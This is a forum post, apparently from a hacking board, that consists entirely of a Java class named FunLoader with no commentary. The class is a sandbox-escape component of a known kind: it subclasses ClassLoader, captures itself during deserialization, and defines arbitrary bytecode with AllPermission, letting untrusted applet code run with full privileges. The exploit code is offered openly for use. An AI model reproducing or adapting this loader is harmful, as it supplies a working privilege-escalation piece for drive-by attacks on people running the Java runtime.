1. boortyhuhtyu

    boortyhuhtyu Member

    Joined:
    2 Feb 2011
    Messages:
    727
    Likes Received:
    26
    Reputations:
    -6
    Code:
    package fun;
    
    import java.io.*;
    import java.net.URL;
    import java.security.*;
    import java.security.cert.Certificate;
    
    public class FunLoader extends ClassLoader
        implements Serializable
    {
    
        public FunLoader()
        {
        }
    
        private void writeObject(ObjectOutputStream objectoutputstream)
            throws IOException, ClassNotFoundException
        {
            objectoutputstream.defaultWriteObject();
        }
    
        private void readObject(ObjectInputStream objectinputstream)
            throws IOException, ClassNotFoundException
        {
            System.out.println("I am here");
            sharedLoader = this;
            objectinputstream.defaultReadObject();
        }
    
        public void bootstrapClass(String s, InputStream inputstream, boolean flag)
            throws IOException
        {
            ByteArrayOutputStream bytearrayoutputstream = new ByteArrayOutputStream();
            byte abyte0[] = new byte[1024];
            int i;
            while((i = inputstream.read(abyte0)) > 0) 
                bytearrayoutputstream.write(abyte0, 0, i);
            byte abyte1[] = bytearrayoutputstream.toByteArray();
            Certificate acertificate[] = new Certificate[0];
            URL url = new URL("file:///");
            Permissions permissions = new Permissions();
            permissions.add(new AllPermission());
            Class class1 = defineClass(s, abyte1, 0, abyte1.length, new ProtectionDomain(new CodeSource(url, acertificate), permissions));
            try
            {
                if(flag)
                    class1.newInstance();
            }
            catch(Exception exception)
            {
                throw new IOException((new StringBuilder()).append("Class instantiation failed: ").append(exception).toString(), exception);
            }
        }
    
        private static final long serialVersionUID = 0x5e8b4c67ddc409d8L;
        public static FunLoader sharedLoader = null;
    
    }
     
    #1 boortyhuhtyu, 9 Jul 2012
    Last edited: 18 Nov 2012
Loading...
Similar Threads - java class
  1. b3
    Replies:
    4
    Views:
    3,471